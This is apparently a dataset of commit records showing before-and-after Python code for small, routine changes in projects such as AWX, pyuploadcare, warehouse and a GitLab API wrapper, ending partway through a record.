<commit_before>_defaults = { 'api_url': 'api/v3', } from .apirequest import ApiRequest, RequestType from .users import Users class Pyglab(object): def __init__(self, url, token, api_url=_defaults['api_url']): self._base_url = url.rstrip('/') + '/' + api_url.strip() self._token = token self._user = None self._per_page = None def sudo(self, user): """Permanently set a different username. Returns the old username.""" previous_user = self._user self._user = user return previous_user def request(self, request_type, url, params={}, sudo=None, page=None, per_page=None): if sudo is None and self._user is not None: sudo = _self.user if per_page is None and self._per_page is None: per_page = self._per_page r = ApiRequest(request_type, self._base_url + '/' + url.lstrip('/'), self._token, params, sudo, page, per_page) return r.content @property def users(self): return Users(self) <commit_msg>Add capability to login through (name|email), password combination.<commit_after>_defaults = { 'api_url': 'api/v3', } from .apirequest import ApiRequest, RequestType from .users import Users class Pyglab(object): def __init__(self, url, token, api_url=_defaults['api_url']): self._base_url = url.rstrip('/') + '/' + api_url.strip() self._token = token self._user = None self._per_page = None def sudo(self, user): """Permanently set a different username. Returns the old username.""" previous_user = self._user self._user = user return previous_user def request(self, request_type, url, params={}, sudo=None, page=None, per_page=None): if sudo is None and self._user is not None: sudo = _self.user if per_page is None and self._per_page is None: per_page = self._per_page r = ApiRequest(request_type, self._base_url + '/' + url.lstrip('/'), self._token, params, sudo, page, per_page) return r.content @property def users(self): return Users(self) @staticmethod def login(username, password, email=None): if username is None and email is None: raise ValueError('Cannot both be `None`: `username` and `email`') params = {'password': password} if username is not None: params['login'] = username else: params['login'] = email r = ApiRequest(RequestType.POST, '/session', params) return r.content
3764bd2303df873d93a2d75311b27c9c632409b4
awx/wsgi.py
awx/wsgi.py
# Copyright (c) 2014 AnsibleWorks, Inc. # All Rights Reserved. """ WSGI config for AWX project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ # Prepare the AWX environment. from awx import prepare_env prepare_env() import os import logging from django.conf import settings from awx import __version__ as tower_version logger = logging.getLogger('awx.main.models.jobs') try: fd = open("/var/lib/awx/.tower_version", "r") if fd.read().strip() != tower_version: logger.error("Tower Versions don't match, potential invalid setup detected") raise Exception("Tower Versions don't match, potential invalid setup detected") except Exception: logger.error("Missing tower version metadata at /var/lib/awx/.tower_version") raise Exception("Missing tower version metadata at /var/lib/awx/.tower_version") # Return the default Django WSGI application. from django.core.wsgi import get_wsgi_application application = get_wsgi_application()
# Copyright (c) 2014 AnsibleWorks, Inc. # All Rights Reserved. """ WSGI config for AWX project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ # Prepare the AWX environment. from awx import prepare_env prepare_env() import os import logging from django.conf import settings from awx import __version__ as tower_version logger = logging.getLogger('awx.main.models.jobs') try: fd = open("/var/lib/awx/.tower_version", "r") if fd.read().strip() != tower_version: raise Exception() except Exception: logger.error("Missing or incorrect metadata for Tower version. Ensure Tower was installed using the setup playbook.") raise Exception("Missing or incorrect metadata for Tower version. Ensure Tower was installed using the setup playbook.") # Return the default Django WSGI application. from django.core.wsgi import get_wsgi_application application = get_wsgi_application()
Reword errors when version metadata does not match or is absent
Reword errors when version metadata does not match or is absent
Python
apache-2.0
snahelou/awx,wwitzel3/awx,wwitzel3/awx,snahelou/awx,wwitzel3/awx,wwitzel3/awx,snahelou/awx,snahelou/awx
# Copyright (c) 2014 AnsibleWorks, Inc. # All Rights Reserved. """ WSGI config for AWX project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ # Prepare the AWX environment. from awx import prepare_env prepare_env() import os import logging from django.conf import settings from awx import __version__ as tower_version logger = logging.getLogger('awx.main.models.jobs') try: fd = open("/var/lib/awx/.tower_version", "r") if fd.read().strip() != tower_version: logger.error("Tower Versions don't match, potential invalid setup detected") raise Exception("Tower Versions don't match, potential invalid setup detected") except Exception: logger.error("Missing tower version metadata at /var/lib/awx/.tower_version") raise Exception("Missing tower version metadata at /var/lib/awx/.tower_version") # Return the default Django WSGI application. from django.core.wsgi import get_wsgi_application application = get_wsgi_application() Reword errors when version metadata does not match or is absent
# Copyright (c) 2014 AnsibleWorks, Inc. # All Rights Reserved. """ WSGI config for AWX project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ # Prepare the AWX environment. from awx import prepare_env prepare_env() import os import logging from django.conf import settings from awx import __version__ as tower_version logger = logging.getLogger('awx.main.models.jobs') try: fd = open("/var/lib/awx/.tower_version", "r") if fd.read().strip() != tower_version: raise Exception() except Exception: logger.error("Missing or incorrect metadata for Tower version. Ensure Tower was installed using the setup playbook.") raise Exception("Missing or incorrect metadata for Tower version. Ensure Tower was installed using the setup playbook.") # Return the default Django WSGI application. from django.core.wsgi import get_wsgi_application application = get_wsgi_application()
<commit_before># Copyright (c) 2014 AnsibleWorks, Inc. # All Rights Reserved. """ WSGI config for AWX project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ # Prepare the AWX environment. from awx import prepare_env prepare_env() import os import logging from django.conf import settings from awx import __version__ as tower_version logger = logging.getLogger('awx.main.models.jobs') try: fd = open("/var/lib/awx/.tower_version", "r") if fd.read().strip() != tower_version: logger.error("Tower Versions don't match, potential invalid setup detected") raise Exception("Tower Versions don't match, potential invalid setup detected") except Exception: logger.error("Missing tower version metadata at /var/lib/awx/.tower_version") raise Exception("Missing tower version metadata at /var/lib/awx/.tower_version") # Return the default Django WSGI application. from django.core.wsgi import get_wsgi_application application = get_wsgi_application() <commit_msg>Reword errors when version metadata does not match or is absent<commit_after>
# Copyright (c) 2014 AnsibleWorks, Inc. # All Rights Reserved. """ WSGI config for AWX project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ # Prepare the AWX environment. from awx import prepare_env prepare_env() import os import logging from django.conf import settings from awx import __version__ as tower_version logger = logging.getLogger('awx.main.models.jobs') try: fd = open("/var/lib/awx/.tower_version", "r") if fd.read().strip() != tower_version: raise Exception() except Exception: logger.error("Missing or incorrect metadata for Tower version. Ensure Tower was installed using the setup playbook.") raise Exception("Missing or incorrect metadata for Tower version. Ensure Tower was installed using the setup playbook.") # Return the default Django WSGI application. from django.core.wsgi import get_wsgi_application application = get_wsgi_application()
# Copyright (c) 2014 AnsibleWorks, Inc. # All Rights Reserved. """ WSGI config for AWX project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ # Prepare the AWX environment. from awx import prepare_env prepare_env() import os import logging from django.conf import settings from awx import __version__ as tower_version logger = logging.getLogger('awx.main.models.jobs') try: fd = open("/var/lib/awx/.tower_version", "r") if fd.read().strip() != tower_version: logger.error("Tower Versions don't match, potential invalid setup detected") raise Exception("Tower Versions don't match, potential invalid setup detected") except Exception: logger.error("Missing tower version metadata at /var/lib/awx/.tower_version") raise Exception("Missing tower version metadata at /var/lib/awx/.tower_version") # Return the default Django WSGI application. from django.core.wsgi import get_wsgi_application application = get_wsgi_application() Reword errors when version metadata does not match or is absent# Copyright (c) 2014 AnsibleWorks, Inc. # All Rights Reserved. """ WSGI config for AWX project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ # Prepare the AWX environment. from awx import prepare_env prepare_env() import os import logging from django.conf import settings from awx import __version__ as tower_version logger = logging.getLogger('awx.main.models.jobs') try: fd = open("/var/lib/awx/.tower_version", "r") if fd.read().strip() != tower_version: raise Exception() except Exception: logger.error("Missing or incorrect metadata for Tower version. Ensure Tower was installed using the setup playbook.") raise Exception("Missing or incorrect metadata for Tower version. Ensure Tower was installed using the setup playbook.") # Return the default Django WSGI application. from django.core.wsgi import get_wsgi_application application = get_wsgi_application()
<commit_before># Copyright (c) 2014 AnsibleWorks, Inc. # All Rights Reserved. """ WSGI config for AWX project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ # Prepare the AWX environment. from awx import prepare_env prepare_env() import os import logging from django.conf import settings from awx import __version__ as tower_version logger = logging.getLogger('awx.main.models.jobs') try: fd = open("/var/lib/awx/.tower_version", "r") if fd.read().strip() != tower_version: logger.error("Tower Versions don't match, potential invalid setup detected") raise Exception("Tower Versions don't match, potential invalid setup detected") except Exception: logger.error("Missing tower version metadata at /var/lib/awx/.tower_version") raise Exception("Missing tower version metadata at /var/lib/awx/.tower_version") # Return the default Django WSGI application. from django.core.wsgi import get_wsgi_application application = get_wsgi_application() <commit_msg>Reword errors when version metadata does not match or is absent<commit_after># Copyright (c) 2014 AnsibleWorks, Inc. # All Rights Reserved. """ WSGI config for AWX project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ # Prepare the AWX environment. from awx import prepare_env prepare_env() import os import logging from django.conf import settings from awx import __version__ as tower_version logger = logging.getLogger('awx.main.models.jobs') try: fd = open("/var/lib/awx/.tower_version", "r") if fd.read().strip() != tower_version: raise Exception() except Exception: logger.error("Missing or incorrect metadata for Tower version. Ensure Tower was installed using the setup playbook.") raise Exception("Missing or incorrect metadata for Tower version. Ensure Tower was installed using the setup playbook.") # Return the default Django WSGI application. from django.core.wsgi import get_wsgi_application application = get_wsgi_application()
75075e85ef82aabee2a261b6a58502b32c60d348
tests/test_project/gallery/models.py
tests/test_project/gallery/models.py
from django.db import models from pyuploadcare.dj.models import FileField, ImageField, ImageGroupField class Gallery(models.Model): title = models.CharField(max_length=255) def __unicode__(self): return self.title class Photo(models.Model): gallery = models.ForeignKey(Gallery) title = models.CharField(max_length=255) arbitrary_file = FileField(blank=True, null=True) photo_2x3 = ImageField(manual_crop='2:3', blank=True) def __unicode__(self): return self.title class GalleryMultiupload(models.Model): title = models.CharField(max_length=255) photos = ImageGroupField() def __unicode__(self): return self.title
from django.db import models from pyuploadcare.dj.models import FileField, ImageField, ImageGroupField class Gallery(models.Model): title = models.CharField(max_length=255) def __unicode__(self): return self.title class Photo(models.Model): gallery = models.ForeignKey(Gallery, on_delete=models.CASCADE) title = models.CharField(max_length=255) arbitrary_file = FileField(blank=True, null=True) photo_2x3 = ImageField(manual_crop='2:3', blank=True) def __unicode__(self): return self.title class GalleryMultiupload(models.Model): title = models.CharField(max_length=255) photos = ImageGroupField() def __unicode__(self): return self.title
Add `on_delete` argument for `Photo.gallery` field
Add `on_delete` argument for `Photo.gallery` field
Python
mit
uploadcare/pyuploadcare
from django.db import models from pyuploadcare.dj.models import FileField, ImageField, ImageGroupField class Gallery(models.Model): title = models.CharField(max_length=255) def __unicode__(self): return self.title class Photo(models.Model): gallery = models.ForeignKey(Gallery) title = models.CharField(max_length=255) arbitrary_file = FileField(blank=True, null=True) photo_2x3 = ImageField(manual_crop='2:3', blank=True) def __unicode__(self): return self.title class GalleryMultiupload(models.Model): title = models.CharField(max_length=255) photos = ImageGroupField() def __unicode__(self): return self.title Add `on_delete` argument for `Photo.gallery` field
from django.db import models from pyuploadcare.dj.models import FileField, ImageField, ImageGroupField class Gallery(models.Model): title = models.CharField(max_length=255) def __unicode__(self): return self.title class Photo(models.Model): gallery = models.ForeignKey(Gallery, on_delete=models.CASCADE) title = models.CharField(max_length=255) arbitrary_file = FileField(blank=True, null=True) photo_2x3 = ImageField(manual_crop='2:3', blank=True) def __unicode__(self): return self.title class GalleryMultiupload(models.Model): title = models.CharField(max_length=255) photos = ImageGroupField() def __unicode__(self): return self.title
<commit_before>from django.db import models from pyuploadcare.dj.models import FileField, ImageField, ImageGroupField class Gallery(models.Model): title = models.CharField(max_length=255) def __unicode__(self): return self.title class Photo(models.Model): gallery = models.ForeignKey(Gallery) title = models.CharField(max_length=255) arbitrary_file = FileField(blank=True, null=True) photo_2x3 = ImageField(manual_crop='2:3', blank=True) def __unicode__(self): return self.title class GalleryMultiupload(models.Model): title = models.CharField(max_length=255) photos = ImageGroupField() def __unicode__(self): return self.title <commit_msg>Add `on_delete` argument for `Photo.gallery` field<commit_after>
from django.db import models from pyuploadcare.dj.models import FileField, ImageField, ImageGroupField class Gallery(models.Model): title = models.CharField(max_length=255) def __unicode__(self): return self.title class Photo(models.Model): gallery = models.ForeignKey(Gallery, on_delete=models.CASCADE) title = models.CharField(max_length=255) arbitrary_file = FileField(blank=True, null=True) photo_2x3 = ImageField(manual_crop='2:3', blank=True) def __unicode__(self): return self.title class GalleryMultiupload(models.Model): title = models.CharField(max_length=255) photos = ImageGroupField() def __unicode__(self): return self.title
from django.db import models from pyuploadcare.dj.models import FileField, ImageField, ImageGroupField class Gallery(models.Model): title = models.CharField(max_length=255) def __unicode__(self): return self.title class Photo(models.Model): gallery = models.ForeignKey(Gallery) title = models.CharField(max_length=255) arbitrary_file = FileField(blank=True, null=True) photo_2x3 = ImageField(manual_crop='2:3', blank=True) def __unicode__(self): return self.title class GalleryMultiupload(models.Model): title = models.CharField(max_length=255) photos = ImageGroupField() def __unicode__(self): return self.title Add `on_delete` argument for `Photo.gallery` fieldfrom django.db import models from pyuploadcare.dj.models import FileField, ImageField, ImageGroupField class Gallery(models.Model): title = models.CharField(max_length=255) def __unicode__(self): return self.title class Photo(models.Model): gallery = models.ForeignKey(Gallery, on_delete=models.CASCADE) title = models.CharField(max_length=255) arbitrary_file = FileField(blank=True, null=True) photo_2x3 = ImageField(manual_crop='2:3', blank=True) def __unicode__(self): return self.title class GalleryMultiupload(models.Model): title = models.CharField(max_length=255) photos = ImageGroupField() def __unicode__(self): return self.title
<commit_before>from django.db import models from pyuploadcare.dj.models import FileField, ImageField, ImageGroupField class Gallery(models.Model): title = models.CharField(max_length=255) def __unicode__(self): return self.title class Photo(models.Model): gallery = models.ForeignKey(Gallery) title = models.CharField(max_length=255) arbitrary_file = FileField(blank=True, null=True) photo_2x3 = ImageField(manual_crop='2:3', blank=True) def __unicode__(self): return self.title class GalleryMultiupload(models.Model): title = models.CharField(max_length=255) photos = ImageGroupField() def __unicode__(self): return self.title <commit_msg>Add `on_delete` argument for `Photo.gallery` field<commit_after>from django.db import models from pyuploadcare.dj.models import FileField, ImageField, ImageGroupField class Gallery(models.Model): title = models.CharField(max_length=255) def __unicode__(self): return self.title class Photo(models.Model): gallery = models.ForeignKey(Gallery, on_delete=models.CASCADE) title = models.CharField(max_length=255) arbitrary_file = FileField(blank=True, null=True) photo_2x3 = ImageField(manual_crop='2:3', blank=True) def __unicode__(self): return self.title class GalleryMultiupload(models.Model): title = models.CharField(max_length=255) photos = ImageGroupField() def __unicode__(self): return self.title
f49857658b992240eaf6627d153afb4808e366fb
warehouse/defaults.py
warehouse/defaults.py
from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals # The base domain name for this installation. Used to control linking to # sub-domains. SERVER_NAME = "warehouse.local:5000" # The URI for our PostgreSQL database. SQLALCHEMY_DATABASE_URI = "postgres:///warehouse" # The URI for our Redis database. REDIS_URI = "redis://localhost:6379/0" # The type of Storage to use. STORAGE = "stockpile.filesystem:HashedFileSystem" # Options to pass into the stockpile storage backend STORAGE_OPTIONS = { "location": "data", "hash_algorithm": "md5", } # What type of hash to use when displaying a hashed uri for files FILE_URI_HASH = "sha256"
from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals # The base domain name for this installation. Used to control linking to # sub-domains. SERVER_NAME = "warehouse.local:5000" # The URI for our PostgreSQL database. SQLALCHEMY_DATABASE_URI = "postgres:///warehouse" # The URI for our Redis database. REDIS_URI = "redis://localhost:6379/0" # The type of Storage to use. STORAGE = "stockpile.filesystem:HashedFileSystem" # Options to pass into the stockpile storage backend STORAGE_OPTIONS = { "location": "data", "hash_algorithm": "md5", "base_url": "https://files.warehouse.local:5000/", } # What type of hash to use when displaying a hashed uri for files FILE_URI_HASH = "sha256"
Configure the default STORAGE_OPTION to enable a dummy url
Configure the default STORAGE_OPTION to enable a dummy url
Python
bsd-2-clause
davidfischer/warehouse
from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals # The base domain name for this installation. Used to control linking to # sub-domains. SERVER_NAME = "warehouse.local:5000" # The URI for our PostgreSQL database. SQLALCHEMY_DATABASE_URI = "postgres:///warehouse" # The URI for our Redis database. REDIS_URI = "redis://localhost:6379/0" # The type of Storage to use. STORAGE = "stockpile.filesystem:HashedFileSystem" # Options to pass into the stockpile storage backend STORAGE_OPTIONS = { "location": "data", "hash_algorithm": "md5", } # What type of hash to use when displaying a hashed uri for files FILE_URI_HASH = "sha256" Configure the default STORAGE_OPTION to enable a dummy url
from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals # The base domain name for this installation. Used to control linking to # sub-domains. SERVER_NAME = "warehouse.local:5000" # The URI for our PostgreSQL database. SQLALCHEMY_DATABASE_URI = "postgres:///warehouse" # The URI for our Redis database. REDIS_URI = "redis://localhost:6379/0" # The type of Storage to use. STORAGE = "stockpile.filesystem:HashedFileSystem" # Options to pass into the stockpile storage backend STORAGE_OPTIONS = { "location": "data", "hash_algorithm": "md5", "base_url": "https://files.warehouse.local:5000/", } # What type of hash to use when displaying a hashed uri for files FILE_URI_HASH = "sha256"
<commit_before>from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals # The base domain name for this installation. Used to control linking to # sub-domains. SERVER_NAME = "warehouse.local:5000" # The URI for our PostgreSQL database. SQLALCHEMY_DATABASE_URI = "postgres:///warehouse" # The URI for our Redis database. REDIS_URI = "redis://localhost:6379/0" # The type of Storage to use. STORAGE = "stockpile.filesystem:HashedFileSystem" # Options to pass into the stockpile storage backend STORAGE_OPTIONS = { "location": "data", "hash_algorithm": "md5", } # What type of hash to use when displaying a hashed uri for files FILE_URI_HASH = "sha256" <commit_msg>Configure the default STORAGE_OPTION to enable a dummy url<commit_after>
from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals # The base domain name for this installation. Used to control linking to # sub-domains. SERVER_NAME = "warehouse.local:5000" # The URI for our PostgreSQL database. SQLALCHEMY_DATABASE_URI = "postgres:///warehouse" # The URI for our Redis database. REDIS_URI = "redis://localhost:6379/0" # The type of Storage to use. STORAGE = "stockpile.filesystem:HashedFileSystem" # Options to pass into the stockpile storage backend STORAGE_OPTIONS = { "location": "data", "hash_algorithm": "md5", "base_url": "https://files.warehouse.local:5000/", } # What type of hash to use when displaying a hashed uri for files FILE_URI_HASH = "sha256"
from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals # The base domain name for this installation. Used to control linking to # sub-domains. SERVER_NAME = "warehouse.local:5000" # The URI for our PostgreSQL database. SQLALCHEMY_DATABASE_URI = "postgres:///warehouse" # The URI for our Redis database. REDIS_URI = "redis://localhost:6379/0" # The type of Storage to use. STORAGE = "stockpile.filesystem:HashedFileSystem" # Options to pass into the stockpile storage backend STORAGE_OPTIONS = { "location": "data", "hash_algorithm": "md5", } # What type of hash to use when displaying a hashed uri for files FILE_URI_HASH = "sha256" Configure the default STORAGE_OPTION to enable a dummy urlfrom __future__ import absolute_import from __future__ import division from __future__ import unicode_literals # The base domain name for this installation. Used to control linking to # sub-domains. SERVER_NAME = "warehouse.local:5000" # The URI for our PostgreSQL database. SQLALCHEMY_DATABASE_URI = "postgres:///warehouse" # The URI for our Redis database. REDIS_URI = "redis://localhost:6379/0" # The type of Storage to use. STORAGE = "stockpile.filesystem:HashedFileSystem" # Options to pass into the stockpile storage backend STORAGE_OPTIONS = { "location": "data", "hash_algorithm": "md5", "base_url": "https://files.warehouse.local:5000/", } # What type of hash to use when displaying a hashed uri for files FILE_URI_HASH = "sha256"
<commit_before>from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals # The base domain name for this installation. Used to control linking to # sub-domains. SERVER_NAME = "warehouse.local:5000" # The URI for our PostgreSQL database. SQLALCHEMY_DATABASE_URI = "postgres:///warehouse" # The URI for our Redis database. REDIS_URI = "redis://localhost:6379/0" # The type of Storage to use. STORAGE = "stockpile.filesystem:HashedFileSystem" # Options to pass into the stockpile storage backend STORAGE_OPTIONS = { "location": "data", "hash_algorithm": "md5", } # What type of hash to use when displaying a hashed uri for files FILE_URI_HASH = "sha256" <commit_msg>Configure the default STORAGE_OPTION to enable a dummy url<commit_after>from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals # The base domain name for this installation. Used to control linking to # sub-domains. SERVER_NAME = "warehouse.local:5000" # The URI for our PostgreSQL database. SQLALCHEMY_DATABASE_URI = "postgres:///warehouse" # The URI for our Redis database. REDIS_URI = "redis://localhost:6379/0" # The type of Storage to use. STORAGE = "stockpile.filesystem:HashedFileSystem" # Options to pass into the stockpile storage backend STORAGE_OPTIONS = { "location": "data", "hash_algorithm": "md5", "base_url": "https://files.warehouse.local:5000/", } # What type of hash to use when displaying a hashed uri for files FILE_URI_HASH = "sha256"
e69b43a559044ecde0ffa79ea3ea4773aa527a88
project/urls.py
project/urls.py
from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from django.core.urlresolvers import reverse_lazy from django.views.generic.base import RedirectView import competition admin.autodiscover() urlpatterns = patterns( '', url(r'^$', RedirectView.as_view(url=reverse_lazy('competition_list'))), url(r'', include(competition.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^admin_tools/', include('admin_tools.urls')), url (r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'accounts/login.html'}, name='account_login'), url (r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login', name='account_logout'), ) if settings.DEBUG: urlpatterns += patterns( 'django.views.static', url(r'^qr/(?P<path>.*\.png)$', 'serve', {'document_root': settings.QR_DIR}), url(r'^static/(?P<path>.*)$', 'serve', {'document_root': settings.STATIC_ROOT}), url(r'^media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT}), )
from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from django.core.urlresolvers import reverse_lazy from django.views.generic.base import RedirectView import competition admin.autodiscover() urlpatterns = patterns( '', url(r'^$', RedirectView.as_view(permanent=True,url=reverse_lazy('competition_list'))), url(r'', include(competition.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^admin_tools/', include('admin_tools.urls')), url (r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'accounts/login.html'}, name='account_login'), url (r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login', name='account_logout'), ) if settings.DEBUG: urlpatterns += patterns( 'django.views.static', url(r'^qr/(?P<path>.*\.png)$', 'serve', {'document_root': settings.QR_DIR}), url(r'^static/(?P<path>.*)$', 'serve', {'document_root': settings.STATIC_ROOT}), url(r'^media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT}), )
Set RedirectView.permanent to True to match old default settings
Set RedirectView.permanent to True to match old default settings
Python
bsd-3-clause
michaelwisely/django-competition,michaelwisely/django-competition,michaelwisely/django-competition
from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from django.core.urlresolvers import reverse_lazy from django.views.generic.base import RedirectView import competition admin.autodiscover() urlpatterns = patterns( '', url(r'^$', RedirectView.as_view(url=reverse_lazy('competition_list'))), url(r'', include(competition.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^admin_tools/', include('admin_tools.urls')), url (r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'accounts/login.html'}, name='account_login'), url (r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login', name='account_logout'), ) if settings.DEBUG: urlpatterns += patterns( 'django.views.static', url(r'^qr/(?P<path>.*\.png)$', 'serve', {'document_root': settings.QR_DIR}), url(r'^static/(?P<path>.*)$', 'serve', {'document_root': settings.STATIC_ROOT}), url(r'^media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT}), ) Set RedirectView.permanent to True to match old default settings
from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from django.core.urlresolvers import reverse_lazy from django.views.generic.base import RedirectView import competition admin.autodiscover() urlpatterns = patterns( '', url(r'^$', RedirectView.as_view(permanent=True,url=reverse_lazy('competition_list'))), url(r'', include(competition.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^admin_tools/', include('admin_tools.urls')), url (r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'accounts/login.html'}, name='account_login'), url (r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login', name='account_logout'), ) if settings.DEBUG: urlpatterns += patterns( 'django.views.static', url(r'^qr/(?P<path>.*\.png)$', 'serve', {'document_root': settings.QR_DIR}), url(r'^static/(?P<path>.*)$', 'serve', {'document_root': settings.STATIC_ROOT}), url(r'^media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT}), )
<commit_before>from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from django.core.urlresolvers import reverse_lazy from django.views.generic.base import RedirectView import competition admin.autodiscover() urlpatterns = patterns( '', url(r'^$', RedirectView.as_view(url=reverse_lazy('competition_list'))), url(r'', include(competition.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^admin_tools/', include('admin_tools.urls')), url (r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'accounts/login.html'}, name='account_login'), url (r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login', name='account_logout'), ) if settings.DEBUG: urlpatterns += patterns( 'django.views.static', url(r'^qr/(?P<path>.*\.png)$', 'serve', {'document_root': settings.QR_DIR}), url(r'^static/(?P<path>.*)$', 'serve', {'document_root': settings.STATIC_ROOT}), url(r'^media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT}), ) <commit_msg>Set RedirectView.permanent to True to match old default settings<commit_after>
from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from django.core.urlresolvers import reverse_lazy from django.views.generic.base import RedirectView import competition admin.autodiscover() urlpatterns = patterns( '', url(r'^$', RedirectView.as_view(permanent=True,url=reverse_lazy('competition_list'))), url(r'', include(competition.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^admin_tools/', include('admin_tools.urls')), url (r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'accounts/login.html'}, name='account_login'), url (r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login', name='account_logout'), ) if settings.DEBUG: urlpatterns += patterns( 'django.views.static', url(r'^qr/(?P<path>.*\.png)$', 'serve', {'document_root': settings.QR_DIR}), url(r'^static/(?P<path>.*)$', 'serve', {'document_root': settings.STATIC_ROOT}), url(r'^media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT}), )
from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from django.core.urlresolvers import reverse_lazy from django.views.generic.base import RedirectView import competition admin.autodiscover() urlpatterns = patterns( '', url(r'^$', RedirectView.as_view(url=reverse_lazy('competition_list'))), url(r'', include(competition.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^admin_tools/', include('admin_tools.urls')), url (r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'accounts/login.html'}, name='account_login'), url (r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login', name='account_logout'), ) if settings.DEBUG: urlpatterns += patterns( 'django.views.static', url(r'^qr/(?P<path>.*\.png)$', 'serve', {'document_root': settings.QR_DIR}), url(r'^static/(?P<path>.*)$', 'serve', {'document_root': settings.STATIC_ROOT}), url(r'^media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT}), ) Set RedirectView.permanent to True to match old default settingsfrom django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from django.core.urlresolvers import reverse_lazy from django.views.generic.base import RedirectView import competition admin.autodiscover() urlpatterns = patterns( '', url(r'^$', RedirectView.as_view(permanent=True,url=reverse_lazy('competition_list'))), url(r'', include(competition.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^admin_tools/', include('admin_tools.urls')), url (r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'accounts/login.html'}, name='account_login'), url (r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login', name='account_logout'), ) if settings.DEBUG: urlpatterns += patterns( 'django.views.static', url(r'^qr/(?P<path>.*\.png)$', 'serve', {'document_root': settings.QR_DIR}), url(r'^static/(?P<path>.*)$', 'serve', {'document_root': settings.STATIC_ROOT}), url(r'^media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT}), )
<commit_before>from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from django.core.urlresolvers import reverse_lazy from django.views.generic.base import RedirectView import competition admin.autodiscover() urlpatterns = patterns( '', url(r'^$', RedirectView.as_view(url=reverse_lazy('competition_list'))), url(r'', include(competition.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^admin_tools/', include('admin_tools.urls')), url (r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'accounts/login.html'}, name='account_login'), url (r'^accounts/logout/$', 'django.contrib.auth.views.logout_then_login', name='account_logout'), ) if settings.DEBUG: urlpatterns += patterns( 'django.views.static', url(r'^qr/(?P<path>.*\.png)$', 'serve', {'document_root': settings.QR_DIR}), url(r'^static/(?P<path>.*)$', 'serve', {'document_root': settings.STATIC_ROOT}), url(r'^media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT}), ) <commit_msg>Set RedirectView.permanent to True to match old default settings<commit_after>from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from django.core.urlresolvers import reverse_lazy from django.views.generic.base import RedirectView import competition admin.autodiscover() urlpatterns = patterns( '', url(r'^$', RedirectView.as_view(permanent=True,url=reverse_lazy('competition_list'))), url(r'', include(competition.urls)), url(r'^admin/', include(admin.site.urls)), url(r'^admin_tools/', include('admin_tools.urls')), url (r'^accounts/login/$', 